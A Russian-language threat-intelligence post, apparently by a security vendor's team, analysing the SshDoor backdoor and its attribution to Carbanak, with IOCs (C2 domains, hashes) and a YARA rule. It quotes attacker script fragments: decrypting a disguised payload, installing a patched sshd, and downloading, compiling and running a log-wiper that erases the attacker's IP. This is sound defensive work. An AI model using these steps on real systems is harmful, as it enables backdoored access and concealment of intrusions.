[ << ALL_FEED ]

(Ex)Cobalt == (Ex)Carbanak

Ещё в группе «Общее»

(Ex)Cobalt == (Ex)Carbanak 🤔

С начала 2025 года команда PT ESC отмечает рост числа атак с применением бэкдора SshDoor. В центре внимания подобных атак часто оказываются российские государственные учреждения.

Получив доступ к узлам жертв, атакующие запускают sh-скрипт Release.gz (скриншот 1), который помимо прочего скачивает зашифрованный OpenSSL файл main.jpg (скриншот 2).

file ./main.jpg
./main.jpg: openssl enc'd data with salted password
Code language: plaintext (plaintext)


Команда для расшифровки файла:

openssl aes-256-cbc -md sha256 -d -in $ARCHIVE_NAME -out tmp.tar.gz -k $ZIP_PASS
Code language: plaintext (plaintext)


Затем на скомпрометированном узле компилируется патченный sshd и перезапускается сервис sshd.

...
make -j4>> /dev/null && 
strip ssh sshd &&
make install
...
service sshd restart
Code language: plaintext (plaintext)


Патченный sshd (скриншот 3) имеет ряд сходств с бэкдором SshDoor, который описывали в материалах Linux/SSHDoor.A Backdoored SSH daemon that steals passwords (2013 года) и Inside the Response of a Unique CARBANAK Intrusion (2017 года).

В целом функциональность обнаруженного нами SshDoor значительных изменений не претерпела. Бэкдор позволяет злоумышленнику получить скрытый доступ на скомпрометированный сервер по протоколу SSH c ключом или паролем, заданным в конфигурационном файле либо в коде самого бэкдора. Также бэкдор собирает и отправляет на удаленный сервер аутентификационные данные пользователей.

В материале Inside the Response of a Unique CARBANAK Intrusion данный образец исследователи связывали с APT-группой Carbanak, которая успешно атаковала банковские организации в 2015 году.

Также в арсенал атакующей группы входит утилита A D V A N C E D L O G W I P E R (ALW) (скриншот 4), которая компилируется на узле жертвы и удаляет из ряда журналов /var/log/* (скриншот 5) все записи, которые содержат IP-адрес атакующих ($YOUR_IP).

#------------------------Clean logs-------------------------------------
if which gcc >/dev/null 2>&1 ; then
    $DOWNLOADER $LOG_CLEANER; gcc log.c -o log; ./log -h $YOUR_IP;rm -f log log.c;
else
    PACKET_MANAGER=$PACKET_MANAGER" gcc";
    $PACKET_MANAGER && $DOWNLOADER $LOG_CLEANER; gcc log.c -o log; ./log -h $YOUR_IP;rm -f log log.c;
fi
Code language: Bash (bash)


Примечательно, что команда RSA Global Incident Response в своем материале относит ALW также к деятельности группы Carbanak.

Файлы конфигурации:
/var/run/.options
/dev/shm/.options
Code language: plaintext (plaintext)


C2:
cdn2-os.pythonupdate.com
centos.pythonupdate.com
pkg.pkg-pfsense.org
Code language: plaintext (plaintext)


MD5:
016bd8119efd5fae482131464ff1dfde
eec5d0c3fc2b1b1074c3648e26d1fe08
0689b1e75241f93b43cd2af0c2f10217
Code language: plaintext (plaintext)


YARA:
rule SshDoor {
    strings:
        $spy1 = "SPY_PATH"
        $spy2 = "SPY_PORT"
        $spy3 = "SPY_HOST"
        $spy4 = "spy_passwd"
        $spy5 = "spy_master"
        $spy6 = "spy_bc_addr"
        $spy7 = "spy_buff"
        $spy8 = "spy_addr"
        $spy9 = "spy_buff_port"
        $sshd = "usage: sshd"
    condition:
        uint32be(0) == 0x7f454c46 and $sshd and (any of ($spy*))
}
Code language: PowerShell (powershell)


Happy hunting!


#hunt #ti #ioc #yara #dfir #detect #unix #apt
@ptescalator

Ещё от oUth0R

Ещё от oUth0R

Ещё в группе «Общее»